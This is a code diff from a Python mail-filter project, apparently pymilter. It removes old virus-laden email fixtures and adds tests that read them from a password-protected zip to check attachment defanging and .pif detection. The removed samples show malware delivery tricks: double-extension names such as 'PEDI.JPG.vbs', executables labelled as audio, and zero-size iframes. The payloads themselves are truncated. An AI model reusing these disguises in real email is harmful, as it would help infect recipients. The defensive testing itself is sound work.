To: "Carroll Forehand" <carrollf@jsconnor.com>
|
|
||||||
Subject: AUTEAE
|
|
||||||
Date: Fri, 12 Jan 2001 04:16:36 -0800
|
|
||||||
Message-ID: <NEBBKLEPKLBIEKBANDGCIEMOCGAA.sal.canino@innovativeconcepts.com>
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Content-Type: multipart/mixed;
|
|
||||||
boundary="----=_NextPart_000_0003_01C07C4E.74368FC0"
|
|
||||||
X-Priority: 3 (Normal)
|
|
||||||
X-MSMail-Priority: Normal
|
|
||||||
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
|
|
||||||
Importance: Normal
|
|
||||||
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
|
|
||||||
Disposition-Notification-To: "Sal Canino" <sal.canino@innovativeconcepts.com>
|
|
||||||
ReSent-Date: Fri, 12 Jan 2001 16:29:03 -0500 (EST)
|
|
||||||
ReSent-From: Carroll Forehand <carrollf@jsconnor.com>
|
|
||||||
ReSent-To: ed@bmsi.com
|
|
||||||
ReSent-Subject: AUTEAE
|
|
||||||
ReSent-Message-ID: <Pine.A41.4.10.10101121629001.171826@connor.jsconnor.com>
|
|
||||||
|
|
||||||
This is a multi-part message in MIME format.
|
|
||||||
|
|
||||||
------=_NextPart_000_0003_01C07C4E.74368FC0
|
|
||||||
Content-Type: text/plain;
|
|
||||||
charset="iso-8859-1"
|
|
||||||
Content-Transfer-Encoding: 7bit
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
------=_NextPart_000_0003_01C07C4E.74368FC0
|
|
||||||
Content-Type: application/octet-stream;
|
|
||||||
name="PEDI.JPG.vbs"
|
|
||||||
Content-Transfer-Encoding: quoted-printable
|
|
||||||
Content-Disposition: attachment;
|
|
||||||
filename="PEDI.JPG.vbs"
|
|
||||||
|
|
||||||
rem =
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
|
|
||||||
rem "Plan Colombia" virus v1.0=0A=
|
|
||||||
rem by Sand Ja9e Gr0w (www.colombia.com)=0A=
|
|
||||||
=0A=
|
|
||||||
rem Dedicated to all the people that want to be hackers or crackers, in =
|
|
||||||
Colombia =0A=
|
|
||||||
rem This program is also a protest act against the violence and =
|
|
||||||
corruption that Colombia lives...=0A=
|
|
||||||
rem I always wanting that all this finishes, I have said...=0A=
|
|
||||||
=0A=
|
|
||||||
=0A=
|
|
||||||
rem Santa fe de Bogot=E1 2000/09=0A=
|
|
||||||
rem I dedicate to all you the song "GoodBye" of Andreas Bochelli=0A=
|
|
||||||
rem =
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
|
|
||||||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A=
|
|
||||||
=0A=
|
|
||||||
=0A=
|
|
||||||
rem Thanks God..!=0A=
|
|
||||||
rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"=0A=
|
|
||||||
rem A greeting for "Tizo" from "Spain"=0A=
|
|
||||||
rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY"=0A=
|
|
||||||
=0A=
|
|
||||||
rem okay, ok... =0A=
|
|
||||||
rem my baby start here...=0A=
|
|
||||||
=0A=
|
|
||||||
=0A=
|
|
||||||
On Error Resume Next=0A=
|
|
||||||
|
|
||||||
------=_NextPart_000_0003_01C07C4E.74368FC0--
|
|
||||||
|
|
||||||
|
|
||||||
-50
@@ -1,50 +0,0 @@
|
|||||||
Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.11.5/8.11.3) with ESMTP id f8EMUxS24174
|
|
||||||
for <stuart@bmsi.com>; Fri, 14 Sep 2001 18:30:59 -0400
|
|
||||||
Received: from bmsred.bmsi.com (bmsred [219.109.11.50])
|
|
||||||
by www.bmsi.com (8.9.1/8.9.1) with ESMTP id SAA12740
|
|
||||||
for <stuart@bmsi.com>; Fri, 14 Sep 2001 18:30:58 -0400
|
|
||||||
X-Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.11.5/8.11.3) with ESMTP id f8EESNW28934
|
|
||||||
for <ed@bmsi.com>; Fri, 14 Sep 2001 10:28:23 -0400
|
|
||||||
X-Received: from bwi.bwicorp.com (bwi.bwicorp.com [209.116.254.106])
|
|
||||||
by www.bmsi.com (8.9.1/8.9.1) with ESMTP id KAA34262
|
|
||||||
for <ed@bmsi.com>; Fri, 14 Sep 2001 10:28:20 -0400
|
|
||||||
X-Received: from bwicorp.com (bwi3 [192.168.3.22])
|
|
||||||
by bwi.bwicorp.com (8.9.1/8.9.1) with ESMTP id KAA42970
|
|
||||||
for <ed@bmsi.com>; Fri, 14 Sep 2001 10:33:54 -0400
|
|
||||||
Date: Fri, 14 Sep 2001 10:33:54 -0400
|
|
||||||
From: Mary Smith <mary@bwicorp.com>
|
|
||||||
Message-Id: <200109141433.KAA42970@bwi.bwicorp.com>
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Content-Type: multipart/mixed; boundary="==i3.9.0oisdboibsd((kncd"
|
|
||||||
ReSent-Date: Fri, 14 Sep 2001 18:30:47 -0400 (EDT)
|
|
||||||
ReSent-From: Ed Bond <ed@bmsi.com>
|
|
||||||
ReSent-To: Stuart Gathman <stuart@bmsi.com>
|
|
||||||
ReSent-Subject: Resent mail....
|
|
||||||
ReSent-Message-ID: <Pine.LNX.4.33.0109141830470.13214@bmsred.bmsi.com>
|
|
||||||
|
|
||||||
--==i3.9.0oisdboibsd((kncd
|
|
||||||
Content-Type: application/octet-stream; name="READER_DIGEST_LETTER.TXT.pif"
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
Content-Disposition: attachment; filename="READER_DIGEST_LETTER.TXT.pif"
|
|
||||||
|
|
||||||
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu
|
|
||||||
MzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQA5ijojgAAAAAAAAAA4ACOgQsBAhkA
|
|
||||||
FAAAAAYAAAAAAAAAEAAAABAAAAAwAAAAAEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAAAMAAAAAE
|
|
||||||
AAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAAEAAAIoAAAAAUAAAAAYA
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ09ERQAAAAAA
|
|
||||||
IAAAABAAAAAUAAAABgAAAAAAAAAAAAAAAAAAIAAA4ERBVEEAAAAAABAAAAAwAAAAAgAAABoAAAAA
|
|
||||||
AAAAAAAAAAAAAEAAAMAuaWRhdGEAAAAQAAAAQAAAAAIAAAAcAAAAAAAAAAAAAAAAAABAAADALnJz
|
|
||||||
cmMAAAAAgAAAAFAAAAAwAAAAHgAAAAAAAAAAAAAAAAAAQAAA0AAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
RDY5alLDAJCK/jLsU0G8R03PAwt5DjEcFVK3ICRNw5dh2gxwqg7aZ3VtO1ynbZr2zAD/////////
|
|
||||||
/////6IDEwBbAAggAAAA
|
|
||||||
|
|
||||||
|
|
||||||
--==i3.9.0oisdboibsd((kncd--
|
|
||||||
|
|
||||||
|
|
||||||
-60
@@ -1,60 +0,0 @@
|
|||||||
From mdb@go2net.com Tue Sep 18 10:31:34 2001
|
|
||||||
Received: from www.bmsi.com (bmsweb.bmsi.com [219.109.11.130])
|
|
||||||
by bmsaix.bmsi.com (8.11.5/8.11.3) with ESMTP id f8IEVXM42662
|
|
||||||
for <stuart@bmsi.com>; Tue, 18 Sep 2001 10:31:34 -0400
|
|
||||||
Received: from STOREULV2 (mail.indexas.no [195.70.182.114])
|
|
||||||
by www.bmsi.com (8.9.1/8.9.1) with SMTP id KAA27604
|
|
||||||
for <stuart@bmsi.com>; Tue, 18 Sep 2001 10:31:31 -0400
|
|
||||||
Date: Tue, 18 Sep 2001 10:31:31 -0400
|
|
||||||
From: mdb@go2net.com
|
|
||||||
Message-Id: <200109181431.KAA27604@www.bmsi.com>
|
|
||||||
Subject: udesktopdesktopeksempeleksempeldesktopeksempeldesktopeksempeldesktopdesktopdesktopeksempeleksempeleksempeleksempeldesktopeksempeleksempeleksempeleksempeleksempeleksempeldesktopeksempeleksempeleksempeldesktopeksempeleksempeldesktopdesktopdesktopeksempeldeskmail.bmsi.com.desktop
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Content-Type: multipart/related;
|
|
||||||
type="multipart/alternative";
|
|
||||||
boundary="====_ABC1234567890DEF_===="
|
|
||||||
X-Priority: 3
|
|
||||||
X-MSMail-Priority: Normal
|
|
||||||
X-Unsent: 1
|
|
||||||
Status: RO
|
|
||||||
X-Status:
|
|
||||||
X-Keywords:
|
|
||||||
|
|
||||||
--====_ABC1234567890DEF_====
|
|
||||||
Content-Type: multipart/alternative;
|
|
||||||
boundary="====_ABC0987654321DEF_===="
|
|
||||||
|
|
||||||
--====_ABC0987654321DEF_====
|
|
||||||
Content-Type: text/html;
|
|
||||||
charset="iso-8859-1"
|
|
||||||
Content-Transfer-Encoding: quoted-printable
|
|
||||||
|
|
||||||
|
|
||||||
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
|
|
||||||
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
|
|
||||||
</iframe></BODY></HTML>
|
|
||||||
--====_ABC0987654321DEF_====--
|
|
||||||
|
|
||||||
--====_ABC1234567890DEF_====
|
|
||||||
Content-Type: audio/x-wav;
|
|
||||||
name="readme.exe"
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
Content-ID: <EA4DMGBP9p>
|
|
||||||
|
|
||||||
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
|
|
||||||
ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO
|
|
||||||
PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAMBEAWMAAAB/UEUAAEwBBQB1Oqc7
|
|
||||||
AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA
|
|
||||||
AAAABAAAAAAAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
|
|
||||||
AACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQA4CgAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAAAAudGV4dAAAAFZlAAAAEAAAAHAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq
|
|
||||||
CQAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAKEcAAACQAAAAIAAAAJAAAAAA
|
|
||||||
AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAgAAAA4AAAACAAAACwAAAAAAAAAAAAAAAAAABAAABALnJl
|
|
||||||
bG9jAABGCwAAAAABAAAQAAAA0AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAA=
|
|
||||||
|
|
||||||
--====_ABC1234567890DEF_====
|
|
||||||
|
|
||||||
|
|
||||||
-38
@@ -1,38 +0,0 @@
|
|||||||
From mdb@go2net.com Tue Sep 18 10:31:34 2001
|
|
||||||
Received: from localhost (varna148.pip.digsys.bg [193.68.1.148])
|
|
||||||
by danbo.digsys.bg (8.10.1/8.10.1) with SMTP id fAM7FHk06734
|
|
||||||
for butchc@trwonnor.com; Thu, 22 Nov 2001 09:15:18 +0200 (EET)
|
|
||||||
From: POP - interlogvar <interlogvar@mbox.digsys.bg>
|
|
||||||
Message-Id: <200111220715.fAM7FHk06734@danbo.digsys.bg>
|
|
||||||
To: butchc@trwonnor.com
|
|
||||||
Subject: Funny shit to see ?!
|
|
||||||
Date: Thu,22 Nov 2001 09:16:34 -0000
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Content-Type: multipart/mixed;
|
|
||||||
boundary="bound"
|
|
||||||
X-Priority: 3
|
|
||||||
X-MSMail-Priority: Normal
|
|
||||||
X-Mailer: Microsoft Outlook Express 5.50.4522.1300
|
|
||||||
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1300
|
|
||||||
|
|
||||||
This is a multi-part message in MIME format.
|
|
||||||
|
|
||||||
--bound
|
|
||||||
Content-Type: text/html;
|
|
||||||
charset="iso-8859-1"
|
|
||||||
Content-Transfer-Encoding: quoted-printable
|
|
||||||
|
|
||||||
<HTML><HEAD></HEAD><BODY><iframe src=3Dcid:SOMECID height=3D0 width=3D0></iframe>
|
|
||||||
<font>peace</font></BODY></HTML>
|
|
||||||
|
|
||||||
--bound
|
|
||||||
Content-Type: audio/x-wav;
|
|
||||||
name="whatever.exe"
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
Content-ID: <SOMECID>
|
|
||||||
|
|
||||||
TVoAAAIAAAACAB4AHgAAAAACAAAAAAAAAAAAAMWnLuEOH7oOALQJ
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAA=
|
|
||||||
|
|
||||||
--bound--
|
|
||||||
-27
@@ -1,27 +0,0 @@
|
|||||||
From mdb@go2net.com Tue Sep 18 10:31:34 2001
|
|
||||||
Received: from aglnss01.grupoagrisal.net ([172.16.0.1])
|
|
||||||
by agntss05 (Lotus Domino Release 5.07a)
|
|
||||||
with ESMTP id 2001120416164050:5294 ;
|
|
||||||
Tue, 4 Dec 2001 16:16:40 -0600
|
|
||||||
Subject: MAEU XSS025786 - ORDER 1251 - CONTAINER MAEU 6053725
|
|
||||||
To: kathyp@jsconnor.com
|
|
||||||
Cc: Blanca@ace-of-hearts.net
|
|
||||||
X-Mailer: Lotus Notes Release 5.07a May 14, 2001
|
|
||||||
Message-ID: <OF28551015.C47BCC85-ON06256B18.0079DD92@grupoagrisal.net>
|
|
||||||
From: sherrera.dco.lc@agrisal.com
|
|
||||||
Date: Tue, 4 Dec 2001 16:11:48 -0600
|
|
||||||
MIME-Version: 1.0
|
|
||||||
X-MIMETrack: Serialize by Router on AGLNSS01/AGRISAL(Release 5.07a |May 14, 2001) at 04/12/2001
|
|
||||||
04:11:57 p.m.,
|
|
||||||
Itemize by SMTP Server on aglnss03/Grupo_Agrisal(Release 5.07a |May 14, 2001) at
|
|
||||||
12/04/2001 04:16:41 PM,
|
|
||||||
Serialize by Router on aglnss03/Grupo_Agrisal(Release 5.07a |May 14, 2001) at
|
|
||||||
12/04/2001 04:16:51 PM
|
|
||||||
Content-type: application/octet-stream;
|
|
||||||
name="FAX20.exe"
|
|
||||||
Content-Disposition: attachment; filename="FAX20.exe"
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
|
|
||||||
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAKJsVAAAACIAACIAACIBr6AQA
|
|
||||||
|
|
||||||
-62
@@ -1,62 +0,0 @@
|
|||||||
From pandora.owner@pandora.cz Wed Mar 24 21:02:22 2004
|
|
||||||
Received: from pandora.cz (localhost [127.0.0.1])
|
|
||||||
by pandora3.mobil.cz (8.12.8/8.12.8) with ESMTP id i2O88iWu021270
|
|
||||||
for <stuart@bmsi.com>; Wed, 24 Mar 2004 09:08:44 +0100
|
|
||||||
Message-Id: <200403240808.i2O88iWu021270@pandora3.mobil.cz>
|
|
||||||
X-Sender: Pandora
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Date: Wed, 24 Mar 2004 09:08:44 +0100
|
|
||||||
From: "administrator@pandora.cz" <administrator@pandora.cz>
|
|
||||||
To: "stuart@bmsi.com" <stuart@bmsi.com>
|
|
||||||
Subject: Konferenceneexistuje
|
|
||||||
Content-Type: multipart/mixed; boundary="Pandora3Bndry_1080115724426044878"
|
|
||||||
|
|
||||||
|
|
||||||
--Pandora3Bndry_1080115724426044878
|
|
||||||
Content-Type: multipart/alternative; boundary="Pandora3Bndry_1080115724783315537"
|
|
||||||
|
|
||||||
|
|
||||||
--Pandora3Bndry_1080115724783315537
|
|
||||||
Content-Type: text/plain; charset="ISO-8859-2"
|
|
||||||
|
|
||||||
Konference '2003-07-46063' neexistuje.
|
|
||||||
|
|
||||||
--Pandora3Bndry_1080115724783315537
|
|
||||||
Content-Type: text/html; charset="ISO-8859-2"
|
|
||||||
|
|
||||||
Konference '2003-07-46063' neexistuje.
|
|
||||||
|
|
||||||
--Pandora3Bndry_1080115724783315537--
|
|
||||||
|
|
||||||
--Pandora3Bndry_1080115724426044878
|
|
||||||
Content-Type: message/rfc822; boundary="----=_NextPart_000_0010_00000FFF.00007545"
|
|
||||||
|
|
||||||
MIME-Version: 1.0
|
|
||||||
Date: Wed, 24 Mar 2004 09:03:28 +0100
|
|
||||||
From: "" <stuart@bmsi.com>
|
|
||||||
To: "" <2003-07-46063@pandora.cz>
|
|
||||||
Subject: =?ISO-8859-2?q?Re=3A_Your_software?=
|
|
||||||
Content-Type: multipart/mixed; boundary="Pandora3Bndry_10801157231587976770"
|
|
||||||
|
|
||||||
|
|
||||||
--Pandora3Bndry_10801157231587976770
|
|
||||||
Content-Type: text/plain; charset="Windows-1252"
|
|
||||||
Content-Transfer-Encoding: 7bit
|
|
||||||
|
|
||||||
See the attached file for details.
|
|
||||||
|
|
||||||
|
|
||||||
--Pandora3Bndry_10801157231587976770
|
|
||||||
Content-Type: application/octet-stream; name="application.pif"
|
|
||||||
Content-Disposition: attachment; filename="application.pif"
|
|
||||||
Content-Transfer-Encoding: base64
|
|
||||||
|
|
||||||
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
||||||
|
|
||||||
--Pandora3Bndry_10801157231587976770--
|
|
||||||
|
|
||||||
--Pandora3Bndry_1080115724426044878--
|
|
||||||
|
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
import unittest
|
||||||
|
from Milter.config import MilterConfigParser
|
||||||
|
|
||||||
|
class ConfigTestCase(unittest.TestCase):
|
||||||
|
def testConfig(self):
|
||||||
|
cp = MilterConfigParser()
|
||||||
|
cp.read(['test/pysrs.cfg'])
|
||||||
|
socketname = cp.getdefault('srsmilter','socketname',
|
||||||
|
'/var/run/milter/srsmilter')
|
||||||
|
self.assertEqual(socketname,'/var/run/milter/srsmilter')
|
||||||
|
miltersrs = cp.getboolean('srsmilter','miltersrs')
|
||||||
|
self.assertFalse(miltersrs)
|
||||||
|
|
||||||
|
def suite(): return unittest.makeSuite(ConfigTestCase,'test')
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
+46
-31
@@ -1,34 +1,10 @@
|
|||||||
# $Log$
|
# @author Stuart D. Gathman <stuart@bmsi.com>
|
||||||
# Revision 1.5 2011/06/09 17:27:42 customdesigned
|
# Copyright 2005,2009,2020 Business Management Systems, Inc.
|
||||||
# Documentation updates.
|
# This code is under the GNU General Public License. See COPYING for details.
|
||||||
#
|
|
||||||
# Revision 1.4 2005/07/20 14:49:44 customdesigned
|
|
||||||
# Handle corrupt and empty ZIP files.
|
|
||||||
#
|
|
||||||
# Revision 1.3 2005/06/17 01:49:39 customdesigned
|
|
||||||
# Handle zip within zip.
|
|
||||||
#
|
|
||||||
# Revision 1.2 2005/06/02 15:00:17 customdesigned
|
|
||||||
# Configure banned extensions. Scan zipfile option with test case.
|
|
||||||
#
|
|
||||||
# Revision 1.1.1.2 2005/05/31 18:23:49 customdesigned
|
|
||||||
# Development changes since 0.7.2
|
|
||||||
#
|
|
||||||
# Revision 1.23 2005/02/11 18:34:14 stuart
|
|
||||||
# Handle garbage after quote in boundary.
|
|
||||||
#
|
|
||||||
# Revision 1.22 2005/02/10 01:10:59 stuart
|
|
||||||
# Fixed MimeMessage.ismodified()
|
|
||||||
#
|
|
||||||
# Revision 1.21 2005/02/10 00:56:49 stuart
|
|
||||||
# Runs with python2.4. Defang not working correctly - more work needed.
|
|
||||||
#
|
|
||||||
# Revision 1.20 2004/11/20 16:38:17 stuart
|
|
||||||
# Add rcs log
|
|
||||||
#
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
import unittest
|
import unittest
|
||||||
import mime
|
import mime
|
||||||
|
import zipfile
|
||||||
import socket
|
import socket
|
||||||
try:
|
try:
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
@@ -51,6 +27,14 @@ hostname = socket.gethostname()
|
|||||||
|
|
||||||
class MimeTestCase(unittest.TestCase):
|
class MimeTestCase(unittest.TestCase):
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.zf = zipfile.ZipFile('test/virus.zip','r')
|
||||||
|
self.zf.setpassword(b'denatured')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
self.zf.close()
|
||||||
|
self.zf = None
|
||||||
|
|
||||||
# test mime parameter parsing
|
# test mime parameter parsing
|
||||||
def testParam(self):
|
def testParam(self):
|
||||||
plist = mime._parseparam('; boundary="----=_NextPart_000_4e56_490d_48e3"')
|
plist = mime._parseparam('; boundary="----=_NextPart_000_4e56_490d_48e3"')
|
||||||
@@ -90,8 +74,12 @@ class MimeTestCase(unittest.TestCase):
|
|||||||
|
|
||||||
def testDefang(self,vname='virus1',part=1,
|
def testDefang(self,vname='virus1',part=1,
|
||||||
fname='LOVE-LETTER-FOR-YOU.TXT.vbs'):
|
fname='LOVE-LETTER-FOR-YOU.TXT.vbs'):
|
||||||
with open('test/'+vname,"rb") as fp:
|
try:
|
||||||
msg = mime.message_from_file(fp)
|
with self.zf.open(vname,"r") as fp:
|
||||||
|
msg = mime.message_from_file(fp)
|
||||||
|
except KeyError:
|
||||||
|
with open('test/'+vname,"rb") as fp:
|
||||||
|
msg = mime.message_from_file(fp)
|
||||||
mime.defang(msg,scan_zip=True)
|
mime.defang(msg,scan_zip=True)
|
||||||
self.assertTrue(msg.ismodified(),"virus not removed")
|
self.assertTrue(msg.ismodified(),"virus not removed")
|
||||||
oname = vname + '.out'
|
oname = vname + '.out'
|
||||||
@@ -118,7 +106,7 @@ class MimeTestCase(unittest.TestCase):
|
|||||||
|
|
||||||
# virus6 has no parts - the virus is directly inline
|
# virus6 has no parts - the virus is directly inline
|
||||||
def testDefang6(self,vname="virus6",fname='FAX20.exe'):
|
def testDefang6(self,vname="virus6",fname='FAX20.exe'):
|
||||||
with open('test/'+vname,"rb") as fp:
|
with self.zf.open(vname,"r") as fp:
|
||||||
msg = mime.message_from_file(fp)
|
msg = mime.message_from_file(fp)
|
||||||
mime.defang(msg)
|
mime.defang(msg)
|
||||||
oname = vname + '.out'
|
oname = vname + '.out'
|
||||||
@@ -204,6 +192,33 @@ class MimeTestCase(unittest.TestCase):
|
|||||||
self.assertEqual(self.filename,"7501'S FOR TWO GOLDEN SOURCES SHIPMENTS FOR TAX & DUTY PURPOSES ONLY.PDF")
|
self.assertEqual(self.filename,"7501'S FOR TWO GOLDEN SOURCES SHIPMENTS FOR TAX & DUTY PURPOSES ONLY.PDF")
|
||||||
self.assertEqual(rc,Milter.CONTINUE)
|
self.assertEqual(rc,Milter.CONTINUE)
|
||||||
|
|
||||||
|
def test_getnames(self):
|
||||||
|
names = []
|
||||||
|
self.sawpif = False
|
||||||
|
def do_part(m):
|
||||||
|
n = m.getnames()
|
||||||
|
a = names
|
||||||
|
a += n
|
||||||
|
return Milter.CONTINUE
|
||||||
|
def chk_part(m):
|
||||||
|
for k,n in m.getnames():
|
||||||
|
if n and n.lower().endswith('.pif'):
|
||||||
|
self.sawpif = True
|
||||||
|
s = m.get_submsg()
|
||||||
|
print(m.get_content_type(),type(s),'modified:',m.ismodified())
|
||||||
|
if isinstance(s,email.message.Message):
|
||||||
|
return mime.check_attachments(s,chk_part)
|
||||||
|
return Milter.CONTINUE
|
||||||
|
|
||||||
|
with self.zf.open('virus7','r') as fp:
|
||||||
|
msg = mime.message_from_file(fp)
|
||||||
|
self.assertTrue(msg.ismultipart())
|
||||||
|
mime.check_attachments(msg,do_part)
|
||||||
|
self.assertTrue(('filename','application.pif') in names)
|
||||||
|
self.assertFalse(self.sawpif)
|
||||||
|
mime.check_attachments(msg,chk_part)
|
||||||
|
self.assertTrue(self.sawpif)
|
||||||
|
|
||||||
def testHTML(self,fname=""):
|
def testHTML(self,fname=""):
|
||||||
result = StringIO()
|
result = StringIO()
|
||||||
filter = mime.HTMLScriptFilter(result)
|
filter = mime.HTMLScriptFilter(result)
|
||||||
|
|||||||
@@ -0,0 +1,57 @@
|
|||||||
|
from __future__ import print_function
|
||||||
|
import unittest
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
from Milter.policy import MTAPolicy
|
||||||
|
|
||||||
|
class Config(object):
|
||||||
|
def __init__(self):
|
||||||
|
self.access_file='test/access.db'
|
||||||
|
self.access_file_nulls=True
|
||||||
|
self.access_file_colon = False
|
||||||
|
|
||||||
|
class PolicyTestCase(unittest.TestCase):
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.config = Config()
|
||||||
|
if os.access('test/access',os.R_OK):
|
||||||
|
if not os.path.exists('test/access.db') or \
|
||||||
|
os.path.getmtime('test/access') > os.path.getmtime('test/access.db'):
|
||||||
|
cmd = 'tr : ! <test/access | makemap hash test/access.db'
|
||||||
|
if os.system(cmd):
|
||||||
|
print('failed!')
|
||||||
|
else:
|
||||||
|
print("Missing test/access")
|
||||||
|
|
||||||
|
def testPolicy(self):
|
||||||
|
self.config.access_file_colon = False
|
||||||
|
self.config.access_file_nulls = True
|
||||||
|
with MTAPolicy('good@example.com',conf=self.config) as p:
|
||||||
|
pol = p.getPolicy('smtp-auth')
|
||||||
|
self.assertEqual(pol,'OK')
|
||||||
|
with MTAPolicy('bad@example.com',conf=self.config) as p:
|
||||||
|
pol = p.getPolicy('smtp-auth')
|
||||||
|
self.assertEqual(pol,'REJECT')
|
||||||
|
with MTAPolicy('bad@bad.example.com',conf=self.config) as p:
|
||||||
|
pol = p.getPolicy('smtp-auth')
|
||||||
|
self.assertEqual(pol,None)
|
||||||
|
with MTAPolicy('any@random.com',conf=self.config) as p:
|
||||||
|
pol = p.getPolicy('smtp-test')
|
||||||
|
self.assertEqual(pol,'REJECT')
|
||||||
|
with MTAPolicy('foo@bar.baz.com',conf=self.config) as p:
|
||||||
|
pol = p.getPolicy('smtp-test')
|
||||||
|
self.assertEqual(pol,'WILDCARD')
|
||||||
|
|
||||||
|
def suite(): return unittest.makeSuite(PolicyTestCase,'test')
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
